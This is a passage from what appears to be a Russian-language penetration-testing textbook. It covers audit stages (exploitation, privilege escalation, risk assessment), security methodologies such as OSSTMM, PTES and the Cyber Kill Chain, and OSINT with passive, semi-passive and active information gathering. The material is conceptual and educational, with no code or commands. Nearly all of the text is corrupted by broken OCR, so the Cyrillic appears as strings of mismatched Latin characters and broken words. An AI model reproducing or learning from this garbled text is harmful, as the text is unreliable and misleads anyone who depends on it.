B ce0s1 IPOBEPKY HAJNYMS U IPABUIBHON HACTPOIMKM MEXaHU3MOB ayTeHTU M-
Kalluu, KOHTPOJIS JIOCTYTIA, MEJKCETEBBIX 9KPAHOB U T. JI.
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o TIpoBepka cOOTBETCTBHS MOJIUTHKAM H MPOIEAypaM Ge3onacHoct. Brioyaer
B cebst TPOBEPKY HANUYKS ¥ TPABUIBHON HACTPOIKU CHCTEM PETHCTPAIIUK CO-
OBITHIT U JIPYTUE TIPOTIE/LY PBI.

3KcnnyaTa Lna ysa3su MOCTEMN

dasa gBJgETCS ONHUM U3 KJIIOYEBBIX U Ba’KHBIX HTAIIOB ayAuTa 0€30IacHOCTH.
Ha sToii (haze criertuamcTsbl OCYIIECTBIISIOT TPOBEPKY BO3MOKHOCTH IKCILTyaTAIIT
0OHAPY KEHHBIX YSI3BUMOCTEN B IEJISIX MOJYUEHMST KOHTPOJIS HaJl CUCTEMO WJtn
JIOCTYTIA K 3alUTaeMbIM pecypcaMm. Llesb 3Toro aTana — onpeneuTh peasbHyTo
VSI3BUMOCTD CHICTEMBI U OTIEHUTH PUCKU. OCHOBHbBIE TITATH:

e Tloa6Op yTHIMT U MHCTPYMEHTOB JIJIsl SKCIUTYyaTAIMH YA3BUMOCTEM.

e IJxcmuyaranus ysa3BuMocrteil. CrenraaicTsl MHITAIOTCS NCTOMB30BaTh 06HA-
PY’KeHHbIE YSI3BUMOCTH /I II0Jy4eHUs JOCTyIla K chucTeMe WK 3allliIaeMbIM
pecypcam.

o IloBropHas npoBepka cucreMbl. [Ipor3BOANTCS, YTOOBI YOEAUTHCST, UTO IKCILITY-
aTarms He MPUBEJIA K HeKeTATeTbHBIM TOCTEICTBUSIM WJTH He Oblia 06HapysKeHa
3aIMUTHBIMA MEXaHU3MAMH.

MoBbIlWEHWE NPUBUNEMUIA U paclUMPEHNE AOCTYNa

Ha stom arame OCYMIECTBJIACTCA IMTPOBEPKA BOSMOKHOCTU TTOBBIMTEHW A HpI/IBI/IJIEI‘HI?I
" paClinpeHunA JOCTYyIIA. OcCHOBHBIE TIaTK:

e Amnanus Cpeabl U onpeaeJeHue NMOTEHIUAJIbHbIX yﬂSBHMOCTCﬁ. HpOBO[[I/ITCH
C II€JIbIO BBIABUTDL MOTEHIIMAIbHBIC YA3BUMOCTU N HE/TOCTATKU, KOTOPbIE MOTYT
OBITH UCIIOJIB30BAHDI JJIA TIOBBIIIEHM A HpI/IBI/I]IGI‘I/Iﬁ " paclinpeHunAa J0CTYyIIa.

e Tlos60p HHCTPYMEHTOB U METOIOB, KOTOPBIE OY/IYT UCIOIB30BATHCS JIJIST TIOBHI-
HIeHUs] TPUBUJIETUN U pacHIMPEeHUsI 10CTYIIA.

e IlonbiTKa NOBBIIIEHUS HpI/lBI/IJIerI/Iﬁ. CHGHI/IaJII/ICTbI MBITAIOTCS ITOBBICUTH CBOM
YPOBEHD 1OCTYIIQ, LITO6I)I IIOJIyINTDH 60.]11)]_[[6 IIpaB B KOHTPOJIE Hall CHCTEMO UJTN
3alllna€eMbIMU peCypCaMu.

e IlombiTka pacmpenust focryna. VIMeeT 11e/1bio TIOJyYUTh JIOCTYII K 3alUIIae-
MBIM pecypcam, KOTOpbie ObLIN HeJ0CTYIIHbI Ha 60Jiee HU3KOM YPOBHE J0CTYIIA.

OLEHKa PUCKOB U YNpaBlieHne Mu

ITesb aTOrO BTANa — OLEHKUTD IIOTEHI[MAIbHbIE PUCKH, CBI3aHHbBIE ¢ GE30IIACHOCTHIO
MH(MOPMAIIMOHHOM CUCTEMBI, 1 OMTPEAETUTH MEPBI 110 X YCTPAHEHUO WM CHUKEHUTO.
OcHOBHbBIE LIATH:

o Unenrndukainus cucreM u yaszsumocreii. [Iposoaurcest ananms VIC c 1iesbio orpe-
JeJIeHrst ee HanboJiee HEeHHbIX 9JIEMEHTOB, TPEOYIOMINX 3ALINThI, 8 TAKKE OIpe/Ie-
JIEHUE YS3BUMOCTEl, KOTOPbIE MOT'YT OBbITh UCIIOIB30BAHbBI 3JI0YMbIIILICHHUKAMYL.



[pyrue metToamkm 27

Omnpezenenne NOTEHIMAIBHBIX YTPO3. OTIPeeioTes He TOIBKO MOTEHITNATbHbIE
YIPO3bI, KOTOpbIe MOTYT HatrecTH yiepd VIC, HO 1 BEPOSITHOCTD WX SKCILTyaTaI[IH.

O1eHka ypoBHs pUcKa. MosKeT OCHOBBIBATHCS HA PA3JIMYHbBIX KPUTEPUSX, TAKHUX
KaK BEPOATHOCTDb, BOBMOJKHbBIE ITOCJIEACTBUA, IOCTYITHOCTD U T. /.

Pa3pa60TKa MEP MO CHUIKEHUIO PUCKOB, BKJIIOYasd TEXHUYECKUE U OpraHr3alin-
OHHBIE.

IToBropHas onenka puckos. [1ossoJisger yoeauThes B oG bEeKTUBHOCTI Peajnso-
BaHHBIX M€P M0 CHIYKEHUTO PUCKOB.

[pyrne MeToauku

Kax ysxe ObL10 yIOMAHYTO, B chepe mHGOPMALNOHHON 6e30IIaCHOCTH CYLIECTBYET
MHOJKECTBO METOJIMK, KOTOPBIE MOTYT MPUMEHATHCS JI7is 0OECTICYCHIS 3aIUThI WH-
(bopmManMoHHBIX cUCTEM U TaHHBIX. [IpUBe/ieM HEKOTOPbBIE U3 HUX:

ISO 27001 (International Organization for Standardization) — MeskmyHapOIAHBII
CTaHAApT /st yIpaBJieHus nHGOpMaIMoHHON GesonacHocTbio. Onpeessier
TpeGOBaHUS K YIPABJIEHUIO PUCKaMU 1 00ecIieueH o 6e30macHoCT nHbopMa-
[IMOHHBIX CHCTEM 1 TIPOTIECCHI JIJIS UX PEATU3AIUI;

OSSTMM (Open Source Security Testing Methodology Manual) — metoauka
TECTUPOBaHMsI 6E30MACHOCTH, OMMCHIBAIOIIAS TIPOTIECC TECTUPOBAHUS U OIPeie-
JIEHUS yA3BUMOCTEH MH(MOPMAIIMOHHBIX CUCTEM;

NIST (National Institute of Standards and Technology) — dhenepasnbhbiii cran-
napt CIIIA, onipesnesisiioniuii peKOMeHIAIUu 110 YIpaBaeHnIo UH(GOPMAITTMOHHON
6e30IMacHOCTbIO;

PTES (Penetration Testing Execution Standard) npezcrasJiser nporece TecTuposa-
Huist GE30ITACHOCTH € TOMOII[BIO IPOHUKHOBEHHUST CIICIUAIICTOB B MH(MOPMAIIMOHHY O
CHCTEMY JIJISI OTIPE/IETIEHNST YSI3BUMOCTEH U PaspabOTKU Mep 0 UX YCTPAHEHUIO;

SDL (Security Development Lifecycle) onuceiBaer araribl paspaboTKu, BKIIOUAsT
OIIEHKY YTPO3, yIIPaBJEHUE PUCKAMU U CO3/IaHke Ge30MaCHbIX KOJOBbIX 6a3;

Cyber Kill Chain onmceiBaer aranbl aTaki XakepoB Ha HHGOPMALUOHHYIO CHCTe-
Mmy. [TorrManMe TOro, Kakue IMprueMbl MOTYT HCITOJIb30BATHCST 3JI0YMbIIIIJICHHITKA-
M, TIO3BOJISIET OPTaHM3AIISIM Pa3pabaThiBaTh MEPDI TI0 TIPEIOTBPAIIEHHIO ATAK;

PCI DSS (Payment Card Industry Data Security Standard) — crangapr, pazpa6o-
TaHHbII BJIAICIONNMH IIaTe;KHbIMU KapTamu Visa, MasterCard, American Express,
Discover 1 JCB koMmmanusiMu st obecriedeHnst 6e30MacHOCTH JTNYHBIX JaHHBIX
B Iporiecce ux 06paboTKH, repejadr U XpaneHust. X0Ts 9T0 He IPAKTUYECKOe TeXHU-
YeCKOoe PYKOBOJICTBO 10 IIPOBEJIEHUIO TECTOB HA TPOHUKHOBEHHE, HO OHO TIO3BOJISIET
MOJIYYUTh JIOCTATOYHO MTOJTHOE TIPEJICTABJIEHNE O CAMOM TIPOIIeCCEe TECTUPOBAHUSI.

Kamaaﬂ METO/IMKa UMeeT CBOW MPENMYIIECTBa, a BI)I60p TOUW WJIM UHOU 3aBUCUT OT
KOHKPETHDBIX HOTpe6HOCTeI>'I OpraHu3allun 1 YPpOBHS 6830HaCHOCTI/I, HeO6XOlII/IMOFO
I ee I/IH(l)OpMa]_[I/IOHHbIX CHUCTEM U JTaHHbIX.



C60p OTKpbITOU
MHOPpMaUnK O Lenu

Wrax, Bce oprannsannonnbie (pOPMaJbHOCTH yIaKEHBI, BBl 3aKJIIOYUIN JOTOBOP
C KOMITaHued, coOpai KOMaH/y BEICOKOKBAIM(MUITUPOBAHHBIX CIIEIHAJIICTOB, OTIPe-
JIEJTUTUCH C METOJIMKOW U POJISIMH, a TeTlePh TOTOBBI TPUCTYTTUTD K ay/UTY.

Kax yske roBopusioch, epsbiii atamn B3soMa Jo6oil C waunHaetcs co cbopa Mak-
CUMAJIBHOTO KoJindecTBa nHMopmarmu o meu. [loaydenne 1anubix U3 pasinaHbIX
HCTOYHUKOB ¥ BeO-pa3Be/iKa sIBJSIIOTCS HEOTHEMJIEMON YaCThi0 TECTUPOBAHMS HA
MTPOHUKHOBEHWE U BAKHBIM 9JIEMEHTOM MTPOAKTUBHON 3anuThl. YeM GOJIbIle CeTeBhIX
CEPBHUCOB HCIIOJIB3YET MPEANPUSTHE, TeM GOJIbITE TINMPOBBIX CJIEA0B OHO OCTABIISIET
B [J106aIbHO cETH, TO JKe CIPABE/INBO U JIJIS YACTHBIX JIUIL: MHTEPHET MOMHUT BCE.
[Monumanme Toro, Kakyio nH(GOPMAINIO MOKHO HAITH, a TaksKe Kak ee o6padaThiBaTh
U MICTIOJIB30BATD, SABJISETCS KIIOYEBBIM MOMEHTOM B JIESATEIBHOCTH KaK MCCIe/[0BaTe-
JIsT, TaK ¥ CIIEIMAJICTA 110 HHPOPMAIIMOHHON H€301T1aCHOCTH.

B peanpHOM MUpe CIIEIUATNCTHI, OCYIECTBIISIONINE TECThl Ha TPOHMKHOBEHUS, 10
90 % BpeMeHU TPaTAT UMEHHO Ha cO6op u 06pabOTKY JaHHBIX O IEJEBON CUCTEME.
ITpu paboTe ¢ KJIMEHTOM Bbl MOKETE CTOJKHYTHCS ¢ HEOOXOIUMOCTBIO He TOJIbKO
HAlTH ysI3BUMbBIEC MeCTa B €r0 MHMPACTPYKTYPE, HO U TIPEAOCTaBUTH MHHOPMAIIAIO
0 TOM, KaK BBITJISIAUT I POBOIL ciies opraHusaiiuu B mobasipHoil cetu. B xoze
c6opa HHGOPMATINN MOKET TMOSBUTHCST HEOOXOIMMOCTDH OTBETHTE Ha CJIEYIOTTIE
BOITPOCHI: KAKUE JOMEHBI ITPEATIPUSTUS OTCIEKUBAIOTCS B CETH, €CTb JI CEPBUCHI, UC-
MOJIB3YIONINE YA3BUMbIE CUCTEMBI ITU(DPOBAHUS, €CTh JIN 0OIIEJOCTYITHBIE CEPBUCHI,
MCIOJIB3YIONINE YI3BUMYIO KOHPUTYPALUIO (M MHOTHE JIPYTHE).

Ecam 3amaThest 11e/1b10 IOTPY3UTHCS € TOJIOBOW B MUP U3YUYEHUS TaHHBIX, CTOUT TIO-
po6OBaTh YCTAHOBUTH OHY U3 CO3IAHHBIX OTKPBITHIMU COOOIECTBAMI OI€PAIOH-
HBIX CHCTEM, CIIeLUaIbHO [IPeJHasHAYeHHbIX A/ cOopa 1 00paboTKN HHGOPMALIHH:
Buscador, Dora, CSI Linux u . 11.

y‘{TI/ITe, 9TO MPAKTUYECCKU HUKOTAA HE YIA€TCA MOJYYUTDH BCIO I/IH(l)OpMa]_[I/HO nu3
O/IHOT'O-€/IMHCTBEHHOT'O UCTOYHUKA. HaHHbIe NIpUXOANTCA CO6I/IpaTb N3 MHOKECTBa
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pasanunbix Mect (B, HTML-koj1, HOBOCTHbIE JIEHTBI U T. JI.), YTOOBI BIIOCJICICTBIH,
KaK M3 KyCOYKOB MO3auKH, COCTABUTH MOJHY0 kaptury V1C opranusaiuun.

Ha sarHOM arare BbIIBJAAIOTCS cabble MECTA CETH, Y€Pe3 KOTOPbIE BO3MOKHO OCY-
IECTBUTH NPOHUKHOBEHNE B cucteMy. [Ipu mpaBUILHOM TTOXO0/IE MOKHO BBISIBUTD
HE TOJBKO MOTEHIIMAABHO YA3BUMBIE MECTa, HO M BO3MOKHBIE BEKTOPBI aTaKM Ha
0003HAYEHHYIO 11eJIb. B 3aBUCHMOCTH OT pazMepa OpraHusaliuu 00beM coOpaHHOI
MHGOPMAIINH MOKET BaPbUPOBATHCS OT JECSATKA CTPOK 10 COTEH CTPAHUI] TEKCTOBOI
undopmaiyy. Baxno He ToIbK0 coOpaTh, HO 1 IPaMOTHO 00paboTaTh II0Iy4eHHbIe
JIaHHbBIE,

VHCTpyMEHT aHainsa KaskAblii BOJIEH BRIOMPATh caM, Oyb TO JJOTHYECKUE CXEMBI,
JI0OCKA U MapKepbl UJIM CTUKEPBI Ha CTeHAX, — IJIABHOE, YTOObI B pesyJibrare udop-
Manus ObL1a 06001IeHa 1 IpecTaBIeHa B yI00HOM U YnTabeIbHOM BUE.

YTO nckatb?

JLJ1s1 TIPOBE/ICHIST YCIIEITHON aTaky HaM TIPUTOIUTCS JII00Gast T0CTYTHAS WHDOPMAITHST
O TIPEIIPUATUH.

Vmest B CBOEM PACIIOPSIKEHNH TOJIBKO Ha3BaHWe OPTaHU3aIMU, OOBIYHO HAYMHAKOT
cOOp CJAECAYIONMX JAaHHBIX:

JIOMEHDI;
ceTeBble ajipeca UK ceTeBble OJIOKH;

MECTO HAaXOXK/IEHWS;

KOHTaKTHast “H(GOPMAIIHST;

HOBOCTH O CJIMSTHUU WJIA IIPHOOPETEHNH;

BaKaHCUU;

CCBUIKM Ha CBA3aHHbIE C OpraHu3aleil BeO-CepBUCH;
pasIMyHbIe JOKYMEHTHI;

CTPYKTyPa OpTaHU3aIlnu;

CBEAECHU O COTPYJAHUKaX.

ITO TOJIBKO TPUMEPHBIN CITUCOK, TIPOIOJKATH €I0 MOKHO ZI0cTaTOuHO /10T0. Hampu-
Mep, TPOCMOTPEB BAKAHCUU TTPEIIIPUSTH, MOXKHO y3HaTh, Kakue V1C ncnosb3yiores
BHYTpU opranusannu. [Ipoanannsuposas ke HTML-kon nomanriHeil CTpaHUUKH,
MOKHO HAaWTH CCBIJIKM HA BHYTPEHHUE PECYPCHI.

Ot Toro, Kak nposesieH cbop uHhopMmaryu, B GyryiieM OyAeT 3aBUCeTh HATIPABJIEHHE,
THII U YCIIENTHOCTD aTaku. BoJibinast 4acthb mpoiecca cbopa nHbopmMaiuu He Tpebyer
CTETTMATBHBIX 3HAHUN — TOJBKO YMEHUS TTOJb30BAThCA TTOUCKOBBIMU CUCTEMAMM.
3aJacTyio OHM WHEKCUPYIOT aske TY NH(DOPMAINIO, KOTOPYIO MBITATHICH CKPBITh
OT BHEIITHETO MUPA.
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OSINT

C MoMeHTa co3iaHusT HeGOITBIIIOTO TPOEKTA, OO BEANHSIOIIETO HECKOIBKO YHUBEPCHU-
teros CIIIA B ogHy MHDOPMAILMOHHYIO CHCTEMY, 10 0OpazoBaHus [J106anbHOI ceTr
IIPOIILIO COBCEM HEMHOTO BpeMenu. B namu gauu noctyn k CeTi MMeIOT MIJLTHAP/IbI
JIroielt u B pasbi OOJIbIIE YCTPOUCTB €O Beero Mupa. C OHOU CTOPOHBL, JIOCTYII K ITPaK-
THYECKH HEOTPAaHUYEHHOMY 00beMy WH(OPMAITHH 1 BO3MOKHOCTh CAMOMY CO3/IaBaTh
1 yOJIMKOBATh PA3JIMYHBII KOHTEHT MPUHEC MHOTO 6J1ar COBPEMEHHOMY OOIIIECTBY,
OJTHAKO €CTh U JIPyTas CTOPOHa Menanu. B coBpeMeHHOM MH(MOPMAIIFIOHHOM IPO-
CTPAHCTBE BEIYT HE3AKOHHYIO JIEITETbHOCTh MHOKECTBO ITPECTYITHBIX TPYIIHIPOBOK,
U TEXHOJIOTUH TIO3BOJISTIOT UM OCYIIECTBIIATH 9 (MEKTUBHYI0O KOMMYHHUKAIUIO J10-
CTAaTOYHO CKPBITHO. Bropast pobiieMa — 9T0 OOBIYHBIE JIFO/IH, KOTOPBIE TTYOJIUKYIOT
TaKyio HHGOPMAIIIIO, KOTOPast MOKET IPUHECTH OTIPe/IeJICHHBIN BPE/l KAK UM CaMUM,
TaK U OPraHU3aIUsIM, TJIe OHU PAOOTAIOT, MJIH [aske CTPaHaM, B KOTOPBIX OHU TIPOKHU-
BatoT. [10 IPUMEPHBIM TIOJICIETAM, B 9TOM TOLY OOTIHH YOBITOK OT BBIIEOTTHCAHHBIX
JIeficTBUI MOKET ocTu4b 0KoJI0 3 TpiH postapoB CIITA. B cBg3u ¢ aTum MHOTHE
KOPIOpaIUK 1 rocyiapcTBa Hauaau aktuBHo niBectupoBath B OSINT (Open Source
INTelligence, pa3Bejika 110 OTKPBITHIM HCTOUHIKAM ).

A66pesuatypa OSINT oGosHauaet BCIO MyOJINYHO HOCTYITHYIO HHMOpMaIiio. XoTst
JOTIO/THHHO HEM3BECTHO, KOT/IA BIIEPBbIE HAYAIIM UCIIOJIB30BATh ATOT TEPMUH, OJIHAKO
celfuac rmoji HUM MOPA3yMeBAETCst OMCK W aHAJIU3 JIaHHBIX, TOCTYTIHBIX B Ty6IHy-
nom nipoctpanctie. Cunraercs, uto CIITA B iepuo/1 X0J10/{HOI BOWHBI CTAJIN OJHUMHI
U3 NePBbIX, KTO MHMPOKO MPUMEHUI TaKkoii moaxoa. CnpaBeinBoCTH Pajy CTOMT 3a-
METHTD, 4TO HE OHA OHK 3aHUMAJINCH COOPOM M aHATTM30M JIOCTYITHON nH(OpMaIuH,
ATO JIETAJI0 MHOYKECTBO CTPaH.

ITpusenem onpenenenue OSINT gemapramenta oboponbst Coegunennbix Itaros:
«OrxkpoiTag passeabiBatesnbuas nudopmamug (OSINT) — aro mosydennas us
O0TIEIOCTYITHBIX UCTOYHUKOB 1 00paboTaHHast WH(GOPMAIIHs, PaCIPOCTPaHsIeMast
B COOTBETCTBYIOIIEH ayIUTOPUHN C I[EJIbI0 YIOBJIETBOPEHISI KOHKPETHBIX TOTPEO-
HOCTell Pa3BeIKN».

Brocaencrsun 6611 co3pan Harmonaababiil enTp OSINT, 3azaveil KOToporo sB-
Jsgercs cO0p ¥ aHaIU3 O0IEeA0CTYNHON nH(popMalui KaK U3 OHJIAlH-, TaK U U3
odaaiti-uctouHnkoB. [loce cepun TepakTOB W TPUHSATUS COOTBETCTBYIONINX 3a-
KOHOJIATEIbHBIX aKTOB 3Ta Opranusalus Oblia IeperMeHoBaHa U BOIILIA B COCTAB
[HenTpanbHOTO pa3Be/IbIBATENBHOTO YIIPABIEHUS.

OSINT BbIZICASIOT U3 IPYTUX METOOB MOMCKA WH(OPMAIINH, TaK KaK BCe JTaHHbIE
JIOJKHBI COOUPATHCST TOJIBKO U3 OTKPBITHIX HCTOUHMKOB Ha 3aKOHHBIX OCHOBAHUSIX,
B TOM uwcJie Oe3 HapyIlleH!s aBTOPCKIX [IPAB UM BTOPKEHUS B YACTHYIO JKU3Hb.

Bo Bpemst 1oucka 1aHHBIX UCCIEA0BATE MOTYT OOHAPYKUBATh IPUBATHYIO HH(OP-
MaIHIo, IOCTYI K KOTOPOH He ObLJI OrpaHuyeH A0JLKHBIM 0OpasaM. TakuMm myTem, Ha-
HPUMED, MOSIBJISIIACh nH(bopManus Ha u3BectHOM caiite WikiLeaks. Vcnosb3oBaHie
takoil nadopmanuu nporusopeunt dusocopun OSINT u obozHaUAaETCS APYTUM
tepmuHoM: NOSINT (Net-based Open Source INTelligence).
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OSINT BriouaeT B ceOs1 MHOKECTBO HCTOUHUKOB HH(MOPMAIIUH, JJIsI TIOMCKA MOTYT
UCIIOJTh30BAThCSI:

e wuntepHet (hopyMbr, 6JIOTH, CAUTDI COIUATBHBIX CETEH, CAllThl 0OOMEHa BUIEO,
Buky, 3anucu Whois 0 3aperucTpupoBaHHbIX JOMEHHBIX UMEHAX, METaJaHHbIe
daiinos, DarkNet-pecypcbl, ganHble reosokarmu, IP-aapeca, mOMCKOBbIE CHCTEMBbI
1 BCE, UTO MOKHO HAWTU B MHTEPHETE);

® TpaAZUIIMOHHBIE CPE/ICTBA MAcCOBOI MH(MOPMAINH (TesleBUICHIE, PAJINO, Ta3€Thl,
KHUTH, KypPHAJIbI);

® crenuaIu3UPOBAHHbIE Ky PHAJIbI, HAYYHbIE TyOJUKAIMN, TUCCEPTAIIH, MaTEPH-
aJiel KOH(epeH i, Tpoduan KOMIIaHU, TOJ0BbIE OTYEThI, HOBOCTH, PO UIN
COTPYIHUKOB U PE3IOME;

® (HoTOo 1 BU/IEO0, BKJIIOUYAST METAJIAHHDIE;

® TeompocTpaHCcTBeHHAS HHPOPMAIHS (KapThl, KOMMEPUECKHE N300 PasKeH s TIPO-
JIyKTOB).

OSINT mupoko UcIoIb3yeTcst XakepaMu U CHEIUAJNCTaMU 110 NH(MOPMAITMOHHOT
GesoracHocTH 71t cOopa HHPOPMAIIUN 0 KOHKPETHOI 1esin B nHTepHeTe. OH TakKe
CUMTAETCS TEHHBIM WHCTPYMEHTOM MPU TTPOBEIEHUH aTaK Mo TUITY COIUAJIbHOM
urkerepun. [lepBoiil aTar mpu J060i METOANKE TECTUPOBAHS Ha TPOHUKHOBEHHE
HauuHaeTcs ¢ pasBeaku (apyrumu caoamu, ¢ OSINT). Pucynok 3.1 nokasbiBaer
OCHOBHbI€ TAIIbl TECTUPOBAHUS HA IIPOHUKHOBEHUE.

[NoBblleHne
PasBeaka IKcnayaTauma npvBeAerui CokpbiTvie
—> — > ! /
(OSINT) Cranuposanie yA3BMMOCTEN obecneyeHne cAepOB
AocTyna

Puc. 3.1. OcHOBHble 3Tanbl TECTUPOBaHUS Ha MPOHWKHOBEHWE

Nudopmariio OSINT MoKHO cOOMPaTh TPEMsT OCHOBHBIMI METOIAMU: ACCHUBHBIM,
MOJIYIACCUBHBIM U aKTUBHBIM. BbiGop MeTo/1a c60pa 3aBUCHT OT KOHTEKCTA, a TAKIKE
OT THTIA JIAaHHBIX, KOTOPBIE BAC MHTEPECYIOT.

IMTaccuBHbIi cO0pP AaHHBIX. DTO HanboJIee YaCTO UCTIOIb3YeMblil THIT cOopa JaHHBIX,
MTOTOMY YTO €T0 OCHOBHOM TI€JTIO SIBJISIETCST TIOJTydeHre NHPOPMAIUHU O T1eJIN TOJTBKO
13 00IIEeIOCTYITHBIX PECYPCoB. B aToM cirydae Bata 1iesib HUYEro He 3HAET O Ballei
JleSITEJIBHOCT.

ITOT BU/JI TIOMCKA TTO3BOJISIET OCTAThCST aHOHUMHBIM 1 JIOJKEH TTPOBOIUTHCST CKPBITHO.
C TeXHUYECKOIl TOUKK 3PEHUsT 9TOT TUII cOOPa TIO3BOJISET TIOJYUUTh JIUIIb OTPaHK-
YeHHYI0 HH(OPMAIHIO O 1eJId, IIOTOMY 4TO BbI He OTIIpaBJisieTe HUKakoro Tpadrka Ha
11eJIeBOI cepBep — HU MPSAMO, HU KOCBeHHO. OCHOBHBIM HEIOCTATKOM JIAHHOTO THIIA
ABJISETCS TO, UTO BBl MOKETE MOJYYUTD YCTAPEBITYI0 MHGOPMAITHIO.

IMonynaccurHblii c60p AaHHBIX. ITOT THUI cOOPa JAHHBIX MOAPA3yMEBAET, UTO HC-
cJie/1oBaTe/b OTIIPaB/IsieT OrPpaHMYEHHbBIN TpaduK Ha 1iejieBble cepBepbl IS 110y -
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yeHust 06Iei nHGOPMAIUU 0 HUX. DTOT TPahUK MAaKCUMAIBHO MMOXO05K Ha TUITMYHBII
nHTepHeT-TpadUK, TaK KaK OH He JI0JKeH IIPUBJIeKaTh BHUMAaHKE K Balllel JiesaTelb-
HOCTH. BbI poBo/IMTE HE TIyGOKOE UCC/Ie/IOBaHIE OHIAITH-PECYPCOB IEJIH, & TOJIBLKO
WX MTOBEPXHOCTHOE U3yueHue, He TPUBJIEKAs MOBBIIIIEHHOTO BHUMAHUS CO CTOPOHBI
AMUHUCTPATOPOB TeJIEBON CUCTEMBI. XOTSI 9TOT TUTI cH0PA CINUTAETCST B HEKOTOPOM
poJie aHOHUMHBIM, HO 3aITFCH O BAaIlINX JEHCTBUSIX BCE PABHO OCTAaHYTCS B CUCTEM-
HBIX JKYPHAIaX; OIHAKO UCCAEIOBAHIE HEOOXOIMMO MTPOBOANUTEH TAKMM 00Pa3oM,
9TOOBI ATH 3aMUCH HENb3st OBLIO KIacCuUIMPOBATh KaK TPeHAMEPEHHbIH cHop
nHpopMaImu.

AXTHBHBI COOp JaHHBIX. B 9TOM ClleHapUU BbI HATIPSIMYIO B3aUMO/IeiiCcTByeTe
¢ cucTeMoii, 9ToOBI cobpath uHbopManuio o e, Ilenb MOKeT y3HAThH O TIpoTiecce
c60pa TaHHBIX, TOCKOJIbKY OCYIIECTBIISIONINET €T0 YeT0BEK, CKOPEE BCETO, UCTIOIb3YET
UHCTPYMEHTBI aBTOMATHYECKOTO chopa mHMOpMAIUH, paboTaIoNINe O OMpe/IeIeH-
HOMY HIA0JIOHY.

Takue HHCTPYMEHTBI TIO3BOJISIOT TTOJYYUTh HHGOPMAIIHIO 00 OTKPBITHIX TTOPTAX,
HAJIMYUH YSI3BUMOCTEH, TIPUIIOKEHUSIX U MHOTO€ pyToe. Takoii Tpaduk Oyaer Bbi-
TJISIIETh KaK MOJ03PUTENbHBIN U OCTABUT CJI€/Ibl, KOTOPbIe MOTYT ObITh HANIEHbI
cucreMoii obHapyskerus Bropsxkenuil (IDS) niu cucreMoil ipeioTBpaiieHnst BTop-
sxenunit (IPS). IlpoBenenne aTak Mo TUITY COIMATBbHON MHKEHEPUU B HEKOTOPDIX
CITYYasaX TaKKe CINTAETCST BUIOM aKTHBHOTO cO0pa MHGMOPMATTHTL

MaccuBHbIM COOP AAHHbIX

MbI HAYHEM € PACCMOTPEHHST MHCTPYMEHTOB JIJIst TTACCUBHOTO cOopa JaHHbIX. B aToM
pasjiesie OCHOBHOM yTiop GyzieT ¢jieJial Ha paboTy ¢ TAKUMU TIOMCKOBBIME CUCTEMAMH,
kak Google, u 6oJee crienramsupoBanHbiMu — Kak Shodan.

PaboTa ¢ NOMCKOBbIMK CUCTEMAMU

Kasknpiit 1enb KosimuecTBO MH(pOpMaIUm, HaXOAIIENCST B OTKPBITOM YacTH UHTEP-
HeTa, HEYKJIOHHO pacTeT. MOKHO ObITh IOJHOCTHIO YBEPEHHBIM U B TOM, YTO TAKIKE
HEYKJIOHHO YBEJMUUBAETCS KOJIMYECTBO JIAHHBIX B TeMHOU 11 riryOokoil wactu Cern,
HO HaM JI0CTOBEPHO HEM3BECTHO, HACKOJIBKO ObICTPO. UTO JKe KacaeTcss OTKPBITBIX
JTAHHBIX, TO COTJIACHO CTATUCTUKE, KOJTMYECTBO CAUTOB B CETU Y3K€ MTPEBBICUJIO OT-
MeTKY B iBa MIJLIapaa, a Google yTBep:kaaet, 4To IporHaeKCupoBa 60Jiee COTHU
TPUJITMOHOB CTPaHUI] (He IyTalTe CAlT U CTPAHUILY — B JIAHHOM KOHTEKCTE UMEETCs
B BUJLY, YTO OJIMH CAUT MOKET COIeP>KaTh MHOKECTBO CTPAHMUIL).

B takoM orpoMHOM KoJIMuecTBe MH(OPMAIIMU HECTOXKHO U 3AIyTaTbCs — KaK Mbl
3HAEM, TIOUCKOBBIE POOOTHI TIOCTOSTHHO CKAHUPYIOT CTPAHUIIBI HA HATHYUE U3MEHE-
HUH U CCBITIOK, 3aTeM, TIPH HEOOXOAUMOCTH, OOHOBJISAIOT CBOIO 6a3y JaHHbIX. B cBOIO
0Y€epe/ib, KOT/IA MOJIb30BATEND 3aIPAITUBAET KaKy10-H00 NH(MOPMAIIIO, OH OOBIYHO
TOJTY9aeT OTPOMHOE KOJIMIECTBO PEIYIIBTATOB, KOTOPDIE TIPEACTABIISIIOT COOOH CMeCh
BU/Ie0(hailIoB, KAPTUHOK, TECTOBOU 1 JAPYTOIl MH(MOPMAIIUH.
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C oHOW CTOPOHBI, B TAKOM MTOTOKE JJAHHBIX 0Y€Hb TTPOCcTO ToTepsaThes. [leperpy-
JKeHHOCTh nH(OopMaIiueii 1efCTBUTENBHO SIBJSIETCS OJIHOM U3 AKTYaJIbHbIX TIPOOJIeM
coBpeMeHHOTO YesioBeka. C IPYroil CTOPOHBI, ecyiu Gbl He OBLIO MOUCKOBBIX CUCTEM,
BaM IPUIILIOCH ObI BPYYHYIO TPOCMATPUBATH OTPOMHOE KOJIMYECTBO CTPAHUIL B TIO-
HCKax HyKHOU nH(bopMaryu. [TONCKOBbIE CUCTEMBI TIO3BOJISTIOT OBICTPO HAXOIUThH
peJieBaHTHY0 MH(DOPMAIINIO 110 HeOOXOANMBIM BaM KJIIOUEBBIM CJIOBaM, U 3TO, Oe3-
YCJIOBHO, B pasbl o6steryaet mouck B Cerut. OHAKO IPH MOUCKE TaKiKe HeOOXOIUMO
YYUTBIBATH, YTO TIOUCKOBBIE CHCTEMbI OY/IYT BBIIABATH BAM PE3YJIHTAThI MOUCKA B 3a-
BUCHUMOCTH OT PaHTa CTPaHUIlbl. UeM BbIIe PaHT CTPAHUILB, TeM GoJiee BHICOKOE Me-
CTO OHa Oy/IET 3aHUMATD B PE3YJIBTATE TIOUCKA. AJITOPUTM PAHKUPOBAHUSI SIBJISIETCST
TaHOW 32 CEMbBIO TI€UATSIMI, HUKTO, KPOME Pa3pabOTINKOB, He 3HAET TOUHO, KaK OH
JIEHICTBYET, M C/IeJIAHO ATO CTETNAJIBHO, C T[eJThI0 NCKITIOUYNTh BO3MOKHOCTD BIIMSTHUS
Ha ero pabory. Ho crieruasmcTel o MPOABHUKEHIIO CAlTOB BCE JKe YCTAHABIMBAIOT
KOPPEJIAIUI MEK/Y CBOUMY JICHCTBUSAME ¥ pe3yabraraMil paboThl aJTOPUTMOB.
